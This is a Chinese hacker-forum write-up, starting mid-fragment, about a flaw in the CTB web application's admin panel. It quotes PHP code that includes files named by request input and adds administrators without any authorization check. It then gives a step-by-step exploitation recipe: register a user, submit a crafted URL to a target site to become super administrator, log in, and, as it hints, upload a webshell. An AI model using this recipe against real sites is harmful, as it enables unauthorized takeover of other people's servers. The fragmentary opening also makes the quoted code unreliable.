http://analysist.tocare.net C4ST
http://www.isgrey.com
>>>Dedicated This Scrap To CaoJing$v2) {
$return[$k][$k2] = $v2;
}
} else {
$return[$k] = $v;
}
}
}
...
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod'];
if (!file_exists($mod.".php")) {
$mod = "mainright";
}
require_once ($mod.".php");
//-----------------------------------------------------------------------------
//初始化类变量
$ctb = new Module;
$ctb->set = $set;
$ctb->tplPath = "./templates";
$ctb->input = $return;
$ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION;
$ctb->execute();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这里没有任何验证，我们看看添加管理员的文件：
/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class Module extends CommonClass
//系统管理模块子类
{
function execute() {
switch($this->input['action']) {
...
case 'addSystemUser':
$this->addSystemUser();
break;
...
}
}
function addSystemUser()
{
//输入数据简单格式化
$this->inputCheck("main.php?mod=systemuser&action=showSystemUser");
//执行添加操作
$this->file = "../".$this->set[dataPath]."/users/list.php";
$systemLine = $this->select(4, $this->input['systemUserName']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
依然没有验证，一路顺利啊！
利用方法：
^^^^^^^^^^
先注册一个用户：
登陆ID： cat
用户名 : dog
密码: ilikecat
重复密码: ilikecat
信箱: [email protected]
接着提交如下URL：
http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser
哈哈，你现在已经是超级管理员了，不相信？提交如下URL后台登陆：
http://www.psych.com/ctb/admin/main.php?mod=login
管理名称: cat
管理密码: ilikecat
咦...还真成功了！
你现在是不是想更改后台上传文件类型，然后upload webshell？哼，被我猜到了吧...
后记：另外发现CTB代码注释有些扎眼的错别字，大煞风景，希望可以一起修正。
[1] [2]
（出处：http://www.sheup.com）